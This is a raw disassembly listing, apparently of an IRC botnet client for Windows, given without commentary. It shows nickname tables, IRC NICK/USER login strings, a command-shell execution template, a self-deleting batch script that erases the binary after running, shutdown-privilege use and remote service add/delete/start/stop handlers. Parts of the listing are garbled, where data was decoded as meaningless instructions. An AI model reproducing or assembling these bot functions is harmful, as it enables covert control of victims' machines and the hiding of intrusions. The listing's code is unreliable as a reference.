dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_439030
dd offset off_43902C
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_438E98
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_438A68 dd offset aSex ; DATA XREF: sub_417E84+41r
; sub_417E84+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
; ---------------------------------------------------------------------------
push 6000438Dh
lea eax, [ebx+0]
pop eax
lea eax, [ebx+0]
push eax
lea eax, [ebx+0]
dec eax
lea eax, [ebx+0]
inc eax
lea eax, [ebx+0]
cmp [ebp-72CFFFBDh], cl
inc ebx
add [eax], ch
lea eax, [ebx+0]
sbb al, 8Dh
inc ebx
add ds:8D0C0043h[ecx*4], dl
inc ebx
add [eax], cl
lea eax, [ebx+0]
add [ebp-6D0BFFBDh], cl
inc ebx
add al, dh
retf 42h
; ---------------------------------------------------------------------------
db 10h
db 93h ; “
db 43h ; C
db 0
db 88h ; ˆ
db 0B1h ; ±
db 42h ; B
db 0
db 0Ch
db 93h ; “
db 43h ; C
db 0
db 8
db 93h ; “
db 43h ; C
db 0
db 4
db 93h ; “
db 43h ; C
db 0
db 70h ; p
db 0C6h ; Æ
db 42h ; B
db 0
db 34h ; 4
db 0B9h ; ¹
db 42h ; B
db 0
db 7Ch ; |
db 0B7h ; ·
db 42h ; B
db 0
db 0ECh ; ì
db 0CAh ; Ê
db 42h ; B
db 0
dd offset dword_439300
dd offset aM ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_439318
dd offset dword_4392F8
dd offset dword_439314
dd offset dword_4392FC
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_4392FC
dd offset dword_439308
dd offset aS_0 ; "s"
dd offset aQ ; "q"
dd offset off_438CB8
dd offset aBbl ; "|bbl"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset a___0 ; "_|_"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset byte_43DB88
dd offset byte_43DB88
dd offset dword_4392C4
dd offset aM_0 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_2 ; "^^^f^"
dd offset dword_4392F4
dd offset byte_43DB88
dd offset aSleeping ; "Sleeping"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset dword_4392A8
dd offset byte_43DB88
dd offset off_438C78
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_438C38
dd offset dword_438C34
dd offset dword_438C2C
dd offset dword_438C20
dd offset dword_438C18
dd offset dword_438C10
dd offset dword_438C08
dd offset dword_438C04
dd offset dword_438C00
dword_438C00 dd 7536h ; DATA XREF: ___:00438BFCo
dword_438C04 dd 7535h ; DATA XREF: ___:00438BF8o
dword_438C08 dd 7C75347Ch, 0 ; DATA XREF: ___:00438BF4o
dword_438C10 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438BF0o
dword_438C18 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438BECo
dword_438C20 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o
dword_438C2C dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438BE4o
dword_438C34 dd 6C6F6Ch ; DATA XREF: ___:00438BE0o
dword_438C38 dd 746F74h ; DATA XREF: ___:00438BDCo
aMofo db 'mofo',0 ; DATA XREF: ___:00438BD8o
align 4
aMof0 db 'mof0',0 ; DATA XREF: ___:00438BD4o
align 4
aMuha db 'muha',0 ; DATA XREF: ___:00438BD0o
align 4
aYeah db 'yeah',0 ; DATA XREF: ___:00438BCCo
align 4
aAha db 'aha',0 ; DATA XREF: ___:00438BC8o
aShit db 'shit',0 ; DATA XREF: ___:00438BC4o
align 4
aGurl db 'gurl',0 ; DATA XREF: ___:00438BC0o
align 10h
aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438BBCo
align 4
off_438C78 dd offset sub_594F42 ; DATA XREF: ___:00438BB8o
aFree db 'Free',0 ; DATA XREF: ___:00438BA4o
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: ___:00438BA0o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438B94o
align 4
aF_2 db '^^^f^',0 ; DATA XREF: ___:00438B88o
align 10h
aSad db 'Sad',0 ; DATA XREF: ___:00438B84o
aLuvu db 'LUVU',0 ; DATA XREF: ___:00438B80o
align 4
a___0 db '_|_',0 ; DATA XREF: ___:00438B64o
aBbl db '|bbl',0 ; DATA XREF: ___:00438B58o
align 4
off_438CB8 dd offset loc_425240+2 ; DATA XREF: ___:00438B54o
aMuckc db 'muckc',0 ; DATA XREF: ___:00438B40o
align 4
aTruck db 'truck',0 ; DATA XREF: ___:00438B3Co
align 4
aTrimy db 'trimy',0 ; DATA XREF: ___:00438B38o
align 4
aLuvy db 'luvy',0 ; DATA XREF: ___:00438B34o
align 4
aUi db 'ui',0 ; DATA XREF: ___:00438B30o
align 10h
aSdf db 'sdf',0 ; DATA XREF: ___:00438B2Co
aRt db 'rt',0 ; DATA XREF: ___:00438B28o
align 4
aGf db 'gf',0 ; DATA XREF: ___:00438B24o
align 4
aTy db 'ty',0 ; DATA XREF: ___:00438B20o
align 10h
aRg db 'rg',0 ; DATA XREF: ___:00438B1Co
align 4
aHappy db 'happy',0 ; DATA XREF: ___:00438B18o
align 4
aRs db 'rs',0 ; DATA XREF: ___:00438AF8o
align 10h
aQ8A db '|q8|a',0
align 4
aQ8 db 'Q8',0
align 4
aSick db 'sick}}',0
align 4
aWiked db '|wiked|',0
aLuvuF db '||luvu-f|',0
align 4
aGens db '{gens|',0
align 10h
aSex_0 db '{sex}',0
align 4
aHub db '{hub}',0
align 10h
aLuck db '|luck|',0
align 4
aSuck db '|suck|',0
align 10h
aTot db '-|tot|',0
align 4
aWoh db '|woh|',0
align 10h
aTambe db '|tambe|',0
aLag db 'lag',0
aBad db 'bad',0 ; DATA XREF: ___:00438A78o
aTree db 'tree',0 ; DATA XREF: ___:00438A74o
align 4
aZex db 'zex',0 ; DATA XREF: ___:00438A70o
aLez db 'lez',0 ; DATA XREF: ___:00438A6Co
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00438A64o
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00438A60o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: ___:00438A5Co
align 10h
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00438A58o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: ___:00438A54o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438A50o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438A4Co
align 10h
aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438A48o
align 4
aCem39 db 'cem39',0 ; DATA XREF: ___:00438A44o
align 10h
aCool30m db 'cool30m',0 ; DATA XREF: ___:00438A40o
aTropikal db 'tropikal',0 ; DATA XREF: ___:00438A3Co
align 4
aPassenger db 'passenger',0 ; DATA XREF: ___:00438A38o
align 10h
aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00438A34o
align 4
aUla db 'ula',0 ; DATA XREF: ___:00438A30o
aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438A2Co
aAkden db 'akden',0 ; DATA XREF: ___:00438A28o
align 10h
aKoray db 'KORAY',0 ; DATA XREF: ___:00438A24o
align 4
aAta29 db 'Ata29',0 ; DATA XREF: ___:00438A20o
align 10h
aFirtina db 'firtina',0 ; DATA XREF: ___:00438A1Co
aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438A18o
aM41ist db 'M41IST',0 ; DATA XREF: ___:00438A14o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438A10o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438A0Co
align 4
aAnkm db 'ankM',0 ; DATA XREF: ___:00438A08o
align 4
aErkan db 'erkan',0 ; DATA XREF: ___:00438A04o
align 4
aDevre db 'devre',0 ; DATA XREF: ___:00438A00o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: ___:004389FCo
align 4
aBirsen db 'birsen',0 ; DATA XREF: ___:004389F8o
align 4
aA44m db 'a44m',0 ; DATA XREF: ___:004389F4o
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: ___:004389F0o
align 4
off_438E98 dd offset byte_4B5245 ; DATA XREF: ___:004389ECo
aSevda db 'sevda',0 ; DATA XREF: ___:004389E8o
align 4
aKotan db 'kotan',0 ; DATA XREF: ___:004389E4o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: ___:004389E0o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: ___:004389DCo
align 10h
aKapk db 'kapk',0 ; DATA XREF: ___:004389D8o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:004389D4o
align 4
aHayran db 'hayran',0 ; DATA XREF: ___:004389D0o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:004389CCo
align 4
aAnkar db 'Ankar',0 ; DATA XREF: ___:004389C8o
align 10h
aDjspace db 'DJSPACE',0 ; DATA XREF: ___:004389C4o
aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:004389C0o
align 4
aUmut db 'umut-',0 ; DATA XREF: ___:004389BCo
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: ___:004389B8o
align 4
aKumul db 'kumul',0 ; DATA XREF: ___:004389B4o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004389B0o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004389ACo
align 10h
aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004389A8o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: ___:004389A4o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: ___:004389A0o
align 10h
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:0043899Co
align 10h
aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00438998o
aHoly db 'holy',0 ; DATA XREF: ___:00438994o
align 10h
aFlord db 'FLoRD',0 ; DATA XREF: ___:00438990o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: ___:0043898Co
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00438988o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00438984o
align 4
aEmre db 'Emre--',0 ; DATA XREF: ___:00438980o
align 10h
aRamtha db 'RAMTHA',0 ; DATA XREF: ___:0043897Co
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00438978o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: ___:00438974o
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00438970o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:0043896Co
aArda db 'arda',0 ; DATA XREF: ___:00438968o
align 4
aDevran db 'devran',0 ; DATA XREF: ___:00438964o
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00438960o
aDenizlim db 'DenizliM',0 ; DATA XREF: ___:0043895Co
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00438958o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00438954o
align 10h
aBogac db 'bogac',0 ; DATA XREF: ___:00438950o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:0043894Co
align 4
aAnkh db 'ankh',0 ; DATA XREF: ___:00438948o
align 4
off_43902C dd offset byte_457441 ; DATA XREF: ___:00438944o
dword_439030 dd 414C5941h, 2Dh ; DATA XREF: ___:00438940o
aAlbina db 'albina',0 ; DATA XREF: ___:0043893Co
align 10h
aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438938o
align 4
aZack db 'ZACK',0 ; DATA XREF: ___:00438934o
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438930o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: ___:0043892Co
align 4
aAhmet db 'ahmet',0 ; DATA XREF: ___:00438928o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: ___:00438924o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438920o
align 4
aRetg db 'RETG',0 ; DATA XREF: ___:0043891Co
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438918o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00438914o
aAslii db 'aslii',0 ; DATA XREF: ___:00438910o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: ___:0043890Co
aHaticem db 'haticem',0 ; DATA XREF: ___:00438908o
aArzu db 'ARZU',0 ; DATA XREF: ___:00438904o
align 10h
aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438900o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:004388FCo
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: ___:004388F8o
align 10h
aTekir db 'tekir',0 ; DATA XREF: ___:004388F4o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:004388F0o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: ___:004388ECo
align 4
aMelekk db 'melekk',0 ; DATA XREF: ___:004388E8o
align 4
aAkin db 'AKIN',0 ; DATA XREF: ___:004388E4o
align 4
aMary_0 db 'MARY',0 ; DATA XREF: ___:004388E0o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: ___:004388DCo
aTolga34 db 'Tolga34',0 ; DATA XREF: ___:004388D8o
aMisssunday db 'misssunday',0 ; DATA XREF: ___:004388D4o
align 10h
aIrmal db 'irmal',0 ; DATA XREF: ___:004388D0o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:004388CCo
align 4
aBerk19 db 'berk19',0 ; DATA XREF: ___:004388C8o
align 10h
aHexaaa db 'hexaaa',0 ; DATA XREF: ___:004388C4o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: ___:004388C0o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:004388BCo
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:004388B8o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004388B4o
align 4
aKencing db 'Kencing',0 ; DATA XREF: ___:004388B0o
aReshma db 'reshma',0 ; DATA XREF: ___:004388ACo
align 4
aCamel db 'CAMEL',0 ; DATA XREF: ___:004388A8o
align 4
aGirl db 'GirL',0 ; DATA XREF: ___:004388A4o
align 4
aImra db 'imra',0 ; DATA XREF: ___:004388A0o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: ___:0043889Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: ___:00438898o
align 4
aKermit db 'kermit',0 ; DATA XREF: ___:00438894o
align 4
aManee db 'manee',0 ; DATA XREF: ___:00438890o
align 4
aTroller db 'troller',0 ; DATA XREF: ___:0043888Co
aLuisa db 'Luisa',0 ; DATA XREF: ___:00438888o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: ___:00438884o
align 10h
aRimpy db 'rimpy',0 ; DATA XREF: ___:00438880o
align 4
aJanno db 'janno',0 ; DATA XREF: ___:0043887Co
align 10h
aBunty db 'bunty',0 ; DATA XREF: ___:00438878o
align 4
aHeval db 'heval',0 ; DATA XREF: ___:00438874o
align 10h
aCme db 'cme',0 ; DATA XREF: ___:00438870o
aMarcy db 'marcy',0 ; DATA XREF: ___:0043886Co
align 4
aTalika db 'talika',0 ; DATA XREF: ___:00438868o
align 4
aShez db 'Shez',0 ; DATA XREF: ___:00438864o
align 4
aKen db 'ken',0 ; DATA XREF: ___:00438860o
aFlexster db 'flexster',0 ; DATA XREF: ___:0043885Co
align 4
aKoko db 'koko',0 ; DATA XREF: ___:00438858o
align 4
aMale db 'male',0 ; DATA XREF: ___:00438854o
align 4
aSwin db 'swin',0 ; DATA XREF: ___:00438850o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: ___:0043884Co
aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438848o
align 4
aEmilya db 'emilya',0 ; DATA XREF: ___:00438844o
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438840o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:0043883Co
aFarooq db 'farooq',0 ; DATA XREF: ___:00438838o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00438834o
align 4
aM_0: ; DATA XREF: ___:00438830o
; ___:00438B7Co
unicode 0, <M>,0
word_439298 dw 4Eh ; DATA XREF: sub_41A3C6+38r
; ___:0043882Co
align 4
dword_43929C dd 42h ; DATA XREF: ___:00438828o
dword_4392A0 dd 56h ; DATA XREF: ___:00438824o
dword_4392A4 dd 43h ; DATA XREF: ___:00438820o
dword_4392A8 dd 58h ; DATA XREF: ___:0043881Co
; ___:00438BB0o
dword_4392AC dd 5Ah ; DATA XREF: ___:00438818o
dword_4392B0 dd 4Ch ; DATA XREF: ___:00438814o
dword_4392B4 dd 4Bh ; DATA XREF: ___:00438810o
dword_4392B8 dd 4Ah ; DATA XREF: ___:0043880Co
dword_4392BC dd 48h ; DATA XREF: ___:00438808o
dword_4392C0 dd 47h ; DATA XREF: ___:00438804o
dword_4392C4 dd 46h ; DATA XREF: ___:00438800o
; ___:00438B78o
dword_4392C8 dd 44h ; DATA XREF: ___:004387FCo
dword_4392CC dd 53h ; DATA XREF: ___:004387F8o
dword_4392D0 dd 50h ; DATA XREF: ___:004387F0o
dword_4392D4 dd 4Fh ; DATA XREF: ___:004387ECo
dword_4392D8 dd 55h ; DATA XREF: ___:004387E4o
word_4392DC dw 59h ; DATA XREF: sub_41A6EA+38r
; ___:004387E0o
align 10h
dword_4392E0 dd 54h ; DATA XREF: ___:004387DCo
dword_4392E4 dd 52h ; DATA XREF: ___:004387D8o
dword_4392E8 dd 45h ; DATA XREF: ___:004387D4o
dword_4392EC dd 57h ; DATA XREF: ___:004387D0o
dword_4392F0 dd 51h ; DATA XREF: ___:004387CCo
dword_4392F4 dd 62h ; DATA XREF: ___:004387C0o
; ___:00438B8Co
dword_4392F8 dd 78h ; DATA XREF: ___:00438B0Co
dword_4392FC dd 7Ah ; DATA XREF: ___:00438B14o
; ___:00438B44o
dword_439300 dd 6Ch, 68h ; DATA XREF: ___:004387ACo
; ___:00438AE0o
dword_439308 dd 67h, 66h, 64h ; DATA XREF: ___:00438B48o
dword_439314 dd 79h ; DATA XREF: ___:00438B10o
dword_439318 dd 77h ; DATA XREF: ___:00438B08o
dword_43931C dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B76+B1o
dword_439328 dd 323334h ; DATA XREF: sub_417B76+79o
dword_43932C dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B76+61o
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo
; sub_417E84+175r ...
align 4
dword_439374 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o
; ---------------------------------------------------------------------------
loc_4393DC: ; DATA XREF: sub_4182CD+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_4393F0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_4182CD+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884:loc_418886o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o
align 4
unk_4394A4 db 2Dh ; - ; DATA XREF: sub_418A2E+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_4394D4 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_4394FC dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_418A2E+5Co
dd 65726165h, 64h
off_439518 dd offset aAdd ; DATA XREF: sub_418C0E+60r
; sub_418FE5+51r ...
; "Add"
off_43951C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr
; sub_418FE5+83r ...
; "Added"
dword_439520 dd 0 ; DATA XREF: sub_418C0E+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 43958Ch, 439584h, 2, 439578h, 43956Ch, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0043954Co
aStop_0 db 'Stop',0 ; DATA XREF: ___:00439548o
align 4
aStarted db 'Started',0 ; DATA XREF: ___:00439540o
aStart_0 db 'Start',0 ; DATA XREF: ___:0043953Co
align 4
aListed db 'Listed',0 ; DATA XREF: ___:00439534o
align 4
aList_1 db 'List',0 ; DATA XREF: ___:00439530o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: ___:00439528o
aDelete_0 db 'Delete',0 ; DATA XREF: ___:00439524o
align 4
aAdded db 'Added',0 ; DATA XREF: ___:off_43951Co
align 4
aAdd db 'Add',0 ; DATA XREF: ___:off_439518o
unk_4395E0 db 2Dh ; - ; DATA XREF: sub_418C0E+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_439604 db 2Dh ; - ; DATA XREF: sub_418C0E+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 10h
unk_439630 db 2Dh ; - ; DATA XREF: sub_418C0E+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_418D2A:loc_418E34o
db 'the state of the service.',0
align 10h
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_418D2A:loc_418E2Do
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_418D2A:loc_418E26o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_418D2A:loc_418E1Fo
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_418D2A:loc_418E11o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_418D2A:loc_418E0Ao
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_418D2A:loc_418E03o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_418D2A:loc_418DD8o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_418D2A:loc_418DD1o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_418D2A:loc_418DCAo
db 'tServiceCtrlDispatcher.',0
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_418D2A:loc_418DC3o
align 10h
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_418D2A:loc_418D98o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_418D2A:loc_418D70o
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o
aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o
aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo
